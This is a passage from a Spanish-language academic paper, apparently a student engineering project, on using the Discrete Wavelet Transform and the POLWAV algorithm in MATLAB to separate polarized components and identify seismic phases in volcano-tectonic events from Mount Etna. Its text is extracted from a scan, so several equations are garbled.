capaz de proporcionar en qué instante de tiempo se ha producido
un evento que tiene una frecuencia determinada. En realidad, lo
que se pretende, es seleccionar, tras realizar la Trasformada
Wavelet Discreta, aquellos coeficientes wavelet que tienen una
polarizacion coherente y realizar la Transformada Wavelet
Discreta Inversa para reconstruir la componente. Ademas, se ha
implementado un segundo algoritmo clasico de deteccién de la
polarizacion en el dominio del tiempo y con el cual se podra
obtener el tipo de polarizacién de cada una de las componentes
resultantes. Para probar ambas técnicas, se han implementado
una serie de sefiales sintéticas que son suma de componentes que
tienen distinta frecuencia y polarizacion. Finalmente, se han
usado para la deteccion de la fase simica de algunos eventos
volcano-tectdnicos recogidos en una Base de Datos de eventos
sismo-volcanicos del volcdn Etna, obtenidos en el marco del
proyecto europeo MED-SUV en el que el Departamento de Teoria
de la Sefal, Telematica y Comunicaciones y el Instituto Andaluz
de Geofisica han colaborado conjuntamente.

Palabras clave— Polarizacion, sismograma, Transformada
Wavelet, evento volcano-tecténico, coherencia.

. INTRODUCCION Y OBJETIVOS

L estudio de una regidn volcanica tiene interés tanto desde

el punto de vista cientifico, para comprender el desarrollo
y evolucién del planeta tierra, como desde el punto de vista
social y econdmico, si se tiene en cuenta su potencial
destructivo causante de desastres naturales. Es por esto, que
sea importante el estudio de la actividad de un volcéan, asi
como de su historia eruptiva.

Se considera a la sismologia volcanica como una de las
herramientas méas Utiles para poder predecir una erupcion,
eventual, de un volcan o para conocer cualquier fendmeno
que se esté produciendo en él. Esto es asi, ya que la actividad
sismica se puede presentar con bastante tiempo de antelacion
a que haya alguna manifestacion observable en el exterior del
volcéan, como puede ser la emisidn de vapor, gases 0 cenizas.
Esta actividad sismica es producida debido al movimiento de
fluidos en el sistema volcéanico. Dicho esto, se puede concluir

que, de los sismogramas registrados, es posible extraer datos
muy Utiles para la mitigacion de los efectos de terremotos
sismicos y explosiones sismo-volcanicas.

Una vez planteados los motivos que han llevado al
desarrollo de este proyecto, el principal objetivo es la
implementacion, en MATLAB, de un método de extraccion
de los atributos de polarizacion instantanea para la mejora de
la determinacién de la llegada de la fase sismica en disparos
artificiales y sefiales sismo-volcénicas mediante su andlisis en
el dominio de la Transformada Wavelet Discreta (DWT). Se
pretende obtener los tiempos de llegada de las ondas que
conforman los eventos volcano-tectonicos de la Base de
Datos. Sin embargo, la llegada de alguna de estas ondas no es
facil de obtener por lo que se propone utilizar un algoritmo
que descomponga dichos eventos en componentes
coherentes, las cuales se analizaran posteriormente para saber
de qué tipo de onda se trata.

Il. FUNDAMENTO TEORICO

Se denomina fase sismica a los distintos tipos de ondas
sismicas que se registran en un sismograma, por lo que la
identificacion de la fase sismica, consistirA en la
caracterizacién de los estados de polarizacion de las llegadas
sismicas. Sin embargo, el ruido sismico (scattering,
reflexion, refraccion) y demas ruidos a los que se somete una
onda sismica, hacen que en los sismogramas no se perciban
estados de polarizaciéon puros, sino una trayectoria del
movimiento de las particulas bastante compleja en la que es
dificil identificar claramente la fase sismica y el tiempo de
llegada de la misma. Esta trayectoria compleja, se puede
depurar mediante técnicas de andlisis de la polarizacion.

A. Sefiales sismo-volcéanicas.

Un evento volcano-tectonico se define como un terremoto
ocurrido en un ambiente volcanico. Suele estar provocado
por fracturas del medio fragil (fractura de rocas) al
acumularse esfuerzos, variaciones de presion en los
conductos o la deformacién causada por inyeccion de fluidos.

En cuanto a la sefial que los define, esta formada por dos
tipos de ondas: ondas de cuerpo o de volumen y ondas de
superficie. Las ondas de volumen, se denominan ondas S y
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ondas P. Son ondas sismicas que viajan a través del interior
de la Tierra y su propagacion es similar a la propagacion de
la luz. Por otro lado, las ondas de superficie, las cuales se
denominan ondas Rayleigh y ondas Love, se propagan por las
capas mas superficiales de la Tierra, generando un
movimiento de estas.

e Onda P: El comienzo de la sefial coincide con este tipo de
ondas, ya que son las que tienen una mayor velocidad.
Estas ondas se caracterizan por tener una polarizacion
lineal.

¢ Onda S: Son las que tienen mayor amplitud y energia, sin
embargo tienen menor velocidad que las ondas P ya que
el recorrido que realizan es mayor. Ademas, tienen
polarizacién lineal.

e Onda Rayleigh: Estas ondas se caracterizan porgue la
trayectoria que describen las particulas del medio, debido
a su propagacion, es eliptica retrograda, es decir, las
particulas se mueven describiendo una elipse en direccion
opuesta a la direccidn de propagacion de la energia.

e Onda Love: Su movimiento es como el de las ondas S
pero estan polarizadas en el plano de la superficie de la
Tierra, es decir, s6lo poseen la componente horizontal.
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Fig.1. Evento volcano-tectonico en las componentes vertical, N-S 'y E-W.

B. Concepto de polarizacion.

El estudio de la polarizacion del movimiento del suelo es
una herramienta muy Util para determinar el tipo de ondas
que componen cualquier terremoto, y en particular, es
aplicable a los eventos volcano-tectonicos con los que se
trabaja en este proyecto. Analizando la polarizacién de uno
de esos eventos se puede determinar la llegada de los
distintos tipos de ondas, ya que éstas tienen polarizaciones
diferentes. A continuacion se describen los distintos tipos de
polarizacion.

e Polarizacion lineal: El vector que describe la vibracion de
las particulas se encuentra siempre en el mismo plano,
tiene siempre la misma direccion y va cambiando su
sentido de forma periddica. Es decir, la vibracion es
siempre paralela a una direccion fija.

e Polarizacion circular: En este caso el vector de vibracion
cambia de direccion alrededor del vector desplazamiento,
manteniendo su amplitud.

e Polarizacion eliptica: Al igual que en el caso anterior,
para la polarizacién eliptica, el vector que describe el
movimiento de la vibracion cambia de direccién alrededor
del vector desplazamiento, sin embargo, su amplitud
varia.

I1l. TRANSFORMADA WAVELET DISCRETA.

La Transformada Wavelet surgié6 como sustituta de la
Transformada de Fourier, y estaba encargada de solventar
algunos problemas que esta ultima tenia, entre los que se
encuentra su poca precision simultdnea en el andlisis de
sefiales en ambos dominios Tiempo-Frecuencia.

Esta Transformada consiste en la descomposicion de una
sefial en un conjunto de funciones que forman una base, y
que son llamadas Wavelets (ecuacion (1)). Permite analizar
una sefial en un segmento localizado, por lo que dicha sefial
queda expresada como la expansién de términos o
coeficientes del producto interno de ella misma y la funcion
wavelet madre (ecuacion (2)).

Ymnlk ]_J—lp(knz ) 1)

Cabe destacar que en la Transformada Wavelet Discreta
existen dos tipos de funciones base mediante las cuales
obtener la serie de coeficientes que caractericen a la sefial.
Estas son las funciones base de escala, mediante las cuales se
obtienen los coeficientes de aproximacion (ecuacion (3)) y
las funciones base Wavelet, mediante las cuales se obtienen
los coeficientes de detalle (ecuacion (4)). De aqui surge el
Analisis Multiresolucion, el cual se refiere a una técnica que
permite analizar las sefiales en multiples bandas de
frecuencia. Se obtendra una representacion de la sefial en
funciones de los coeficientes de aproximacion y de
coeficientes de detalle [1].

Weljo, k] = 2= fInl$joiln] ©
Wylikl = =Znflnlbjulnl  j2jo &)
Una sefial determinada, queda representada de la

siguiente forma:

flnl = 2= 3 W ljo, K1, [nl + =3 Wyl kI [l (5)

Se sustituye en las ecuaciones que describen a los
coeficientes de aproximacién y a los coeficientes de detalle:

Zf[n Dl Zf[n 22¢[2mn— k]

= h¢[—n] * Wy [m + 1,n] paran = 2k,k =0 (6)

Zf[n 22[2mn — k]
paran =2k,k=>0 (7)

Wy lm, k] = er [l il
= hy[—n]* Wy[m + 1,n]

La idea de este andlisis consiste en representar una sefial
en diferentes resoluciones formando con todas ellas una
estructura piramidal donde se va desde una resolucién en
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frecuencia inicial pequefia hacia una resolucion cada vez
mayor. Para realizar este analisis se hace uso de distintas
frecuencias de corte que se usaran para analizar la sefial a
diferentes escalas. Sin embargo, en el dominio del tiempo, se
va desde una resolucién inicial grande, hasta una resolucion
cada vez mas pequefia.

(E-@—> -
A

NIVEL DE NIVEL DE NIVEL DE
DESCOMPOSICION DESCOMPOSICION DESCOMPOSICION
1 2 N

Fig.2. Esquema del diagrama para realizar la Transformada Wavelet
Discreta.

IV. ANALISIS DE LA POLARIZACION DE SENALES.

Para realizar un analisis de la polarizacién de sefales, de
las cuales se dispone de sus tres componentes, se utilizara
una técnica clasica [2]. Esta técnica de John Vidale, propone
usar la extension analitica de la sefial en el dominio del
tiempo como herramienta para investigar el tipo de
polarizacion (lineal o eliptica). El algoritmo que describe es
el siguiente: en primer lugar se obtiene la extension analitica
de cada una de las componentes a partir de la Transformada
de Hilbert de la siguiente manera:

x(t) = x,.(t) + iH(x,(t))
y(®) = y,.(O) + iH (. (1)) ®)
z(t) = z,(t) + iH(z(t))

En segundo lugar, se utilizan estas sefiales obtenidas para
calcular la matriz de covarianza.

x(@Ox*(t) x(@y*(®) x()z"(t)
c) =|y@®x"@) y@Oy @© y®Oz () 9)
z)x" () z@y () z()z"(t)

En tercer lugar, se le calcula, a cada matriz de covarianza
obtenida, los tres autovectores y los tres autovalores
asociados. Los autovalores obtenidos son reales y positivos y
los autovectores son, en general, complejos.

Xi
[}’il [C—XI]1=0 i=123 (10)
Zi

A causa de que la matriz sea Hermitica, tendra el
siguiente autovalor:
A@) = X ()X (t) (11)

El autovector asociado al autovalor mayor sefiala la
direccion de méaxima polarizacion. Sin embargo, la fase de
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este vector es arbitraria por lo que se va a rotar para
maximizar la longitud X de la componente real de dicho
vector. Para realizar esto, en primer lugar se normaliza el
autovector. A continuacion se va rotando desde 0° a 180° y se
va obteniendo la longitud aplicando la siguiente ecuacién,
donde « se refiere a los grados que se va rotando:

X = \/(Re(xocis(a))z + (Re(yocis(oc))2 + (Re(zocis(oc))2 (12)

De la ecuacion (12), cis(a) = cos(a) + isin(a) y Re(x)
corresponde a la parte real de x.

Por dltimo, cuando se tiene la mayor longitud X posible,
se puede calcular la componente eliptica de la polarizacién lo
que se denominara a partir de ahora elipticidad. Para ello se
debe dividir la longitud de la parte compleja del autovector

(\/1 + XZ), entre la longitud de la parte real (X), como se ve
en la siguiente ecuacion:

n= Vi1+x2 (13)

X

Si el resultado obtenido es 0, la polarizacion sera lineal, y
si el resultado es 1, la polarizacion seré circular. Por lo tanto
para valores en torno a 0.5 la polarizacion serd eliptica.

V. UsO DE LA TRANSFORMADA WAVELET PARA EL ANALISIS
DE LA POLARIZACION.

Para la extraccién de los atributos de polarizacién
instantanea de sismogramas reales de tres componentes se va
a implementar una técnica que fue descrita por D’Auria en
2010 en el articulo
Wavelet Domain: An Application to Volcano Seismology”
[3].

Esta técnica utiliza la Transformada Wavelet Discreta
para extraer las componentes de la sefial que tienen una
polarizacion coherente. La técnica consiste en descomponer
la extension analitica de la sefial sismica usando la DWT. En
este dominio DWT, se detectan y aislan las componentes con
polarizacion coherente de un rango de escalas y dentro de un
cierto intervalo de tiempo finito. Una vez detectadas y
aisladas se reconstruyen en el dominio del tiempo y se aplica
la técnica de Vidale para analizar su polarizacion.

En primer lugar, se calculan los coeficientes DWT para la
extension analitica de cada una de las tres componentes que
conforman la sefial (X, Y, Z), con lo que se obtienen tres
conjuntos de coeficientes complejos. De la ecuacion (14)
v corresponde al coeficiente DWT que se encuentra en el
nivel my en la posicién n, y z;"" es lo mismo, excepto que
se obtiene el coeficiente para la Transformada de Hilbert.

“Polarization Analysis in the Discrete

T = Y 4 iz (14)
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A continuacién se obtiene la matriz de covarianza para

mn _mn mn
yc;.

cada trio de coeficientes complejos c, ", c;,

C;C’T]l_.n — C,";n,nc“m,n

] (15)

De esta matriz de covarianza se pueden extraer el
autovalor distinto de cero (ecuacion 16) y el autovector
asociado (ecuacién 17). Este ultimo serd el que indique la
polarizacién de la componente de la sefial para cada par
(m,n). Una vez que se tienen todos los vectores de
polarizacion complejos se calcula el médulo de cada uno de
ellos y se almacena.

amn = (2 (16)
rmn = (G, S 1) )

El siguiente paso consiste en encontrar un algoritmo que
permita separar de forma automatica las componentes de una
sefial que tienen polarizacion coherente. Para ello se usaran
los vectores complejos de polarizacién calculados
anteriormente. Cada vector representa a un coeficiente, por lo
que encontrando los coeficientes que tienen coherencia entre
si por encima de un umbral y poniendo los restantes a cero,
se puede reconstruir una componente de la sefial que tiene
una polarizacién determinada. Este algoritmo basado en una
técnica propuesta por Roueff et al (2006) [4] es denominado
por D’Auria, algoritmo POLWAV. Cabe destacar que, para
saber si dos vectores, r™™" y rP4 son coherentes en cuanto a
la polarizacidn, se aplica la siguiente definicion de coherencia
de polarizacion, que toma valores entre 0 y 1, en funcidn del
grado de similitud entre dos vectores determinados.

|rmrnrp.q|

C(rmn, rP4) = T (18)

El algoritmo POLWAYV consiste en lo siguiente: en primer
lugar se selecciona el vector r™™ que tiene mayor médulo. A
continuacion se busca recursivamente el vector y
rP4 contiguo a r™™ cuya coherencia C es superior a un
umbral dado. Para buscar estos vectores se debe seguir la
relacion de adyacencia en la rejilla diadica que se muestra en
la Fig. 3. Esta relacion de adyacencia determina los vectores
0 coeficientes que son "vecinos" del vector con mayor
madulo seleccionado.

Todos los vectores cuya coherencia, con respecto al vector
el que se parte, superen el umbral, se almacenan. A
continuacion, para cada uno de los vecinos almacenados, se
busca si en sus vecinos hay algin coeficiente que tenga
coherencia con el vector del que se parte. Este procedimiento
se realizara de forma recursiva hasta que no quede ningln
coeficiente coherente con el seleccionado. De esta manera se
tendrda un conjunto de coeficientes seleccionados vy
almacenados. Los coeficientes restantes se ponen a 0 y se
realiza una Transformada Wavelet Discreta Inversa para
recuperar la componente de la sefial.

(m-1,2n) (m-1,2n+1)
() )

)

(m+1,n/2)

Fig.3. Rejilla de coeficientes vecinos.

Cabe destacar que, a medida que se van reconstruyendo
componentes de la sefial, es conveniente ir calculando la
energia de cada una de ellas e ir almacenandola. Al final del
algoritmo se ordenan las energias calculadas de mayor a
menor y aquellas que tienen un mayor valor serds la que
correspondan a las componentes que han sido separadas en
funcion de la polarizacion. Ademas, analizando estas
energias se puede ver a simple vista, cuantas componentes se
ha extraido de la sefial original.

VI. DESARROLLO EXPERIMENTAL Y ANALISIS DE
RESULTADOS.

A. Analisis de resultados con sefiales sintéticas.

D'Auria, en su articulo, prueba el algoritmo POLWAV
implementado, con una sefial sintética que imita la forma de
una sefial sismovolcéanica. Esta sefial estd formada por una
superposicion de tres sefiales de origen interno, una de ellas
es una VLP (very long-period) de frecuencia 0.3 Hz y las
otras dos son LP (long-period) de 2 Hz. Ademas, indica que
las tres sefiales consisten en sinusoides moduladas por una
envolvente Gaussiana. La expresion matemética de estas
sefiales se puede ver en la ecuacién 19.

Asin(w)e~t"To)?*/o? (19)
TABLA 1: PARAMETROS DE LA SENAL SINTETICA
Componente  Frecuencia  Polarizacion ~ Amplitud T, g2
(Hz)
a 2 Lineal 15 17 10
2 Circular 1.7 23 10
c 0.3 Lineal 1 25 50

En primer lugar, se va a probar el primer algoritmo
implementado de deteccion de la polarizacion de una sefal,
de John Vidale, en la sefial sintética, de la cual se pueden ver
sus caracteristicas en la Tabla 1.

o 5 10 15 20 25 30 35 20 5

Wl
0
, . , , | , | ,

o s 10 15 20 25 30 35 20 5

—PE. elipucity

osk Nv\«/\ !

" [ N . L

5 10 is 20 25 30 35 0 5
Tiempo

Fig.4. Anélisis de polarizacion de la sefial sintética. En la columna de la
derecha se representan las componentes EW, NS y Z, asi como, el pardmetro
elipticidad resultante al aplicar la técnica de Vidale. En la columna de la
izquierda se representa la proyeccion de la sefial en el plano EW-NS en la
parte superior, y la proyeccion de la sefial en el plano EW-Z, en la parte
inferior.
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Como se puede ver en la Fig. 4, este algoritmo no funciona
correctamente pues no es capaz de distinguir que la sefial es
la suma de tres componentes con distintas polarizaciones.
Dicho esto, se puede concluir que sélo es valido para sefiales
aisladas con un unico tipo de polarizaciéon o con diferentes
polarizaciones pero que no se solapen en el tiempo. Para
solventar esto, se ha propuesto implementar el algoritmo
POLWAYV de D’Auria.

Las figuras siguientes, Fig. 5, Fig. 6, Fig. 7 y Fig. 8,
muestran las componentes resultantes tras la realizacion de
dicho algoritmo, asi como la polarizacion de cada una de
ellas. Se comprueba que la componente ¢ ha sido recuperada
correctamente, incluso, al aplicar el algoritmo de Vidale, se
puede identificar que tiene polarizacidn lineal. Sin embargo,
las componentes a y b no han sido recuperadas en su
totalidad. Ademaés, se ha reconstruido una cuarta
componente, la cual analizadndola, se llega a la conclusién de
que corresponde a los trozos de las componentes a y b que
anteriormente no fueron recuperados.
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Fig.5. Componente a obtenida tras la realizacién del algoritmo POLWAV.
El significado de las gréficas es el mismo que el de la Fig. 4.
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Fig.6. Componente ¢ obtenida tras la realizacion del algoritmo POLWAV.
El significado de las gréaficas es el mismo que el de la Fig. 4.

Estudiando estos resultados se llega a la conclusion de que
las componentes a y b han sido separadas correctamente fuera
del intervalo de superposicion, sin embargo dentro de este
intervalo no se consigue una separacion correcta. Este
comportamiento, ha sucedido debido a que estas
componentes tienen la misma frecuencia y el mismo azimut,
por lo que los coeficientes que se deben utilizar para la
reconstruccién, estan en los mismos niveles m y ademas,
estas dos estan superpuestas parcialmente, por lo que las
posiciones n de los coeficientes también serian las mismas.
Por lo tanto, este algoritmo falla en la separacion de
componentes que tienen la misma frecuencia y que estan
solapadas en el tiempo. Ha sido por este motivo por el que se
ha obtenido una cuarta componente, que ha reconstruido el
trozo de sefial correspondiente a este intervalo de
superposicion.
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Fig.7. Componente b obtenida tras la realizacion del algoritmo POLWAV.
El significado de las gréficas es el mismo que el de la Fig. 4.
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Fig.8. Cuarta componente obtenida tras la realizacion del algoritmo
POLWAV. El significado de las gréficas es el mismo que el de la Fig. 4.

Es necesario destacar también que hay varios pardmetros
importantes a tener en cuenta al aplicar el algoritmo
POLWAYV. Uno de ellos es el umbral escogido para
considerar dos vectores ‘coherentes’ con respecto a la
polarizacion. Cuanto mayor es el umbral, mas restrictivo se
vuelve el algoritmo con respecto a los coeficientes escogidos,
sin embargo, hay que tener cuidado en situaciones de ruido,
en las que la sefial se descompondria en demasiadas
componentes. El segundo es el nimero de coeficientes de los
filtros, pues cuanto méas bajo es este valor, peor serd la
reconstruccion de la sefial. Por Gltimo también se debe elegir
la familia de la Wavelet a usar. En este caso se ha elegido la
familia Coiflet pues las funciones de esta familia son
simétricas.

B. Andlisis de resultados con sefiales reales.

En el andlisis de resultados con una sefial sintética se ha
comprobado el correcto funcionamiento del algoritmo en el
que se basa este proyecto, asi como se han comentado sus
limitaciones. A continuacién, se aplicard dicho algoritmo a
un sismograma real, en particular a un evento que ha sido
proporcionado por el Instituto Andaluz de Geofisica (Fig. 9).
Cabe destacar que los sismogramas son muy complejos y no
es una tarea facil la identificacién de los distintos tipos de
ondas sismicas detectadas con el algoritmo POLWAYV. Por
esto, en este estudio lo que se pretende es separar la sefial
sismica en componentes que tienen polarizacién coherente y
una frecuencia determinada, y que corresponderian a las
distintas fases sismicas, pero, a partir de ahi, el andlisis de
estas componentes es tarea de los geofisicos.

Como se comentd en el fundamento tedrico, las ondas
superficiales tipo Rayleigh son las (nicas que tienen una
polarizacion eliptica. Ademas, se encuentran en la zona de la
coda del sismograma. Es por esto que la primera componente
(Fig. 10) y la tercera componente (Fig. 13) se han
identificado como este tipo de onda. Cabe destacar que esto
son sélo suposiciones, pues la identificacion del tipo de ondas
no es una tarea facil.
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Fig.9. Sismograma del evento sismico.
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Fig.10. Primera componente obtenida del evento tras la realizacion del
algoritmo POLWAV. El significado de las gréficas es el mismo que el de la
Fig. 4.
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La segunda componente (Fig. 11), coincide con principio
del tramo de la sefial donde se tiene una gran amplitud. Por
esto y porque puede parecer que la polarizacion es lineal, se
corresponderia con una onda S. En cuanto a la onda P, su
polarizacion también es lineal, al ser esta el tipo de onda con
maés velocidad y por lo tanto la primera en ser registrada por
el sismograma, se puede decir que la quinta componente
reconstruida (Fig. 12) corresponde a este tipo de onda.
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Fig.11. Segunda componente obtenida del evento tras la realizacion del
algoritmo POLWAV. El significado de las gréficas es el mismo que el de la
Fig. 4.
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Fig.12. Tercera componente obtenida del evento tras la realizacion del
algoritmo POLWAV. El significado de las graficas es el mismo que el de la
Fig. 4.
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Fig.13 Quinta componente obtenida del evento tras la realizacion del
algoritmo POLWAV. El significado de las gréaficas es el mismo que el de la
Fig. 4.

VII. CONCLUSIONES

Para la implementacidn de esta técnica de extraccion de
atributos de la polarizacion instantanea para la determinacion
de la fase sismica en eventos sismo-volcanicos, ha sido
necesario un gran estudio tedrico, pues es necesario conocer
el entorno de trabajo para identificar los resultados
experimentales que se quieren obtener. No es posible extraer
los distintos tipos de ondas, si no se conocen sus
caracteristicas. Ademas, se ha realizado un gran estudio de la
Transformada Wavelet, pues no ha sido estudiada durante el
Grado en Ingenieria de Tecnologias de Telecomunicacion.
Como resultado de este estudio se ha llegado a comprender
la gran ventaja de las Wavelets para el analisis de sefiales en
el dominio de tiempo y la frecuencia.

Por otro lado, en cuanto a la parte de implementacién de
los algoritmos en MATLAB, se ha concluido que la
implementacion de un articulo no es una tarea sencilla pues
no se explica con claridad cuél es el proceso que hay que
seguir, por lo que hay que realizar muchas pruebas, incluso
suposiciones, hasta conseguir el objetivo. Esto, ligado con la
poca experiencia con la Transformada Wavelet, no ha hecho
sencilla la tarea de encontrar las funciones adecuadas en
MATLAB, entre el amplio nimero de funciones del que
dispone, lo cual ha supuesto que la etapa de implementacién
de los algoritmos haya sido larga y complicada.

Una vez que los algoritmos funcionaban, se ha
comprendido que los resultados que se obtienen con sefiales
del entorno real, no siempre son los que se esperan.

Con respecto a las vias de desarrollo futuras y mejoras
del trabajo implementado, en el &mbito de tratamiento de
sefial, se podria crear un algoritmo para detectar, de forma
automatica el umbral a utilizar en el algoritmo POLWAYV y
en el ambito de la geologia, se podria analizar con mayor
precision el tipo de ondas que se han descompuesto.
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